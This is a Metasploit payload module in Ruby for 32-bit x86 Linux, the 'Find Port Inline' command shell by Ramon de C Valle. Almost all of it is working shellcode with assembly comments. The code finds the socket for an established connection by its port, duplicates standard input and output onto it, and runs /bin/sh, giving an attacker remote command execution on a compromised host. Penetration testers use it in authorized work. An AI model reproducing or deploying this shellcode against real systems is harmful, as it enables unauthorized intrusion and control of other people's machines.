Linux Command Shell, Find Port Inline

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 62

  include Msf::Payload::Single
  include Msf::Payload::Linux::X86::Prepends
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Linux Command Shell, Find Port Inline',
      'Description'   => 'Spawn a shell on an established connection',
      'Author'        => 'Ramon de C Valle',
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::FindPort,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'CPORT' => [ 25, 'n' ],
            },
          'Payload' =>
            "\x31\xdb"             + #   xorl    %ebx,%ebx                  #
            "\x53"                 + #   pushl   %ebx                       #
            "\x89\xe7"             + #   movl    %esp,%edi                  #
            "\x6a\x10"             + #   pushl   $0x10                      #
            "\x54"                 + #   pushl   %esp                       #
            "\x57"                 + #   pushl   %edi                       #
            "\x53"                 + #   pushl   %ebx                       #
            "\x89\xe1"             + #   movl    %esp,%ecx                  #
            "\xb3\x07"             + #   movb    $0x07,%bl                  #
            "\xff\x01"             + #   incl    (%ecx)                     #
            "\x6a\x66"             + #   pushl   $0x66                      #
            "\x58"                 + #   popl    %eax                       #
            "\xcd\x80"             + #   int     $0x80                      #
            "\x66\x81\x7f\x02\x04\xd2" + #   cmpw    $0xd204,0x02(%edi)         #
            "\x75\xf1"             + #   jne     <fndsockcode+14>           #
            "\x5b"                 + #   popl    %ebx                       #
            "\x6a\x02"             + #   pushl   $0x02                      #
            "\x59"                 + #   popl    %ecx                       #
            "\xb0\x3f"             + #   movb    $0x3f,%al                  #
            "\xcd\x80"             + #   int     $0x80                      #
            "\x49"                 + #   decl    %ecx                       #
            "\x79\xf9"             + #   jns     <fndsockcode+33>           #
            "\x50"                 + #   pushl   %eax                       #
            "\x68\x2f\x2f\x73\x68" + #   pushl   $0x68732f2f                #
            "\x68\x2f\x62\x69\x6e" + #   pushl   $0x6e69622f                #
            "\x89\xe3"             + #   movl    %esp,%ebx                  #
            "\x50"                 + #   pushl   %eax                       #
            "\x53"                 + #   pushl   %ebx                       #
            "\x89\xe1"             + #   movl    %esp,%ecx                  #
            "\x99"                 + #   cltd                               #
            "\xb0\x0b"             + #   movb    $0x0b,%al                  #
            "\xcd\x80"               #   int     $0x80                      #
        }
      ))
  end
end